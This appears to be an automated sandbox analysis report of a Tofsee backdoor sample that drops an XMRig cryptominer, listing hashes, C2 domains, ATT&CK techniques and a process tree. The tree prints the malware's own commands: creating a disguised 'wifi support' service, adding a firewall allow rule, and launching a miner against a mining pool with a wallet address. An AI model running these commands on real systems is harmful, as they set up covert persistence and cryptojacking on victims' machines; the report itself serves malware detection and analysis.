Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    28-05-2023 18:36

General

  • Target

    file.exe

  • Size

    280KB

  • MD5

    64526d68799a4eed9997e2eafd9bc48d

  • SHA1

    7a9625ad83508cc4691184c3c72fc720010700fe

  • SHA256

    4ed68097ee23816012547d4fc6348f28add26227747de46f0fdd424511097419

  • SHA512

    d8eb6e0b9ae7ff74623e3d9e778e45766a6627cbe163626355a69353ed65f4b53d89ce3cef4e28c78f24cf71994ff3ac5e428ccff40b157d94790b5243d70482

  • SSDEEP

    3072:NLkcmKcLP+pizokfgcPnhKekR9WoB085Tmw3VyuQ:hkc0PgikkRng3Jly/

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bxigfszt\
      2⤵
        PID:2012
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\adwhhqrr.exe" C:\Windows\SysWOW64\bxigfszt\
        2⤵
          PID:772
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bxigfszt binPath= "C:\Windows\SysWOW64\bxigfszt\adwhhqrr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bxigfszt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1112
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bxigfszt
          2⤵
          • Launches sc.exe
          PID:1900
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:620
      • C:\Windows\SysWOW64\bxigfszt\adwhhqrr.exe
        C:\Windows\SysWOW64\bxigfszt\adwhhqrr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1524
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1480
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2008

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\adwhhqrr.exe
        Filesize

        13.6MB

        MD5

        53ec91ae657bb243bee4bf590dac802f

        SHA1

        710928fe31379cd0078ddcb489b9455bba639758

        SHA256

        754c41f766feeac3eb45a089b70bbc2176e7e92ff2b9745e2933f3562c63c830

        SHA512

        86d950c8739e03f66fb3440ab3114b037e3db62fe45e2d4206e7c35b70e08a26436a0503e88272a5f14bd5cfef1e901f094e6080e9631abdf149c53911e97314

      • C:\Windows\SysWOW64\bxigfszt\adwhhqrr.exe
        Filesize

        13.6MB

        MD5

        53ec91ae657bb243bee4bf590dac802f

        SHA1

        710928fe31379cd0078ddcb489b9455bba639758

        SHA256

        754c41f766feeac3eb45a089b70bbc2176e7e92ff2b9745e2933f3562c63c830

        SHA512

        86d950c8739e03f66fb3440ab3114b037e3db62fe45e2d4206e7c35b70e08a26436a0503e88272a5f14bd5cfef1e901f094e6080e9631abdf149c53911e97314

      • memory/1204-65-0x0000000000400000-0x000000000068D000-memory.dmp
        Filesize

        2.6MB

      • memory/1204-56-0x0000000000230000-0x0000000000243000-memory.dmp
        Filesize

        76KB

      • memory/1480-87-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-71-0x0000000001A40000-0x0000000001C4F000-memory.dmp
        Filesize

        2.1MB

      • memory/1480-92-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-60-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1480-67-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1480-68-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1480-69-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1480-90-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-74-0x0000000001A40000-0x0000000001C4F000-memory.dmp
        Filesize

        2.1MB

      • memory/1480-75-0x0000000000210000-0x0000000000216000-memory.dmp
        Filesize

        24KB

      • memory/1480-78-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-81-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-91-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-83-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-84-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-85-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-86-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-88-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/1480-89-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-82-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-62-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1480-120-0x0000000000080000-0x0000000000095000-memory.dmp
        Filesize

        84KB

      • memory/1480-93-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-94-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-95-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-96-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-97-0x0000000000220000-0x0000000000230000-memory.dmp
        Filesize

        64KB

      • memory/1480-98-0x0000000000270000-0x0000000000275000-memory.dmp
        Filesize

        20KB

      • memory/1480-101-0x0000000000270000-0x0000000000275000-memory.dmp
        Filesize

        20KB

      • memory/1480-102-0x00000000054B0000-0x00000000058BB000-memory.dmp
        Filesize

        4.0MB

      • memory/1480-105-0x00000000054B0000-0x00000000058BB000-memory.dmp
        Filesize

        4.0MB

      • memory/1480-106-0x0000000000280000-0x0000000000287000-memory.dmp
        Filesize

        28KB

      • memory/1524-63-0x0000000000400000-0x000000000068D000-memory.dmp
        Filesize

        2.6MB

      • memory/2008-110-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-111-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-118-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-121-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-123-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-122-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-119-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB

      • memory/2008-124-0x00000000001E0000-0x00000000002D1000-memory.dmp
        Filesize

        964KB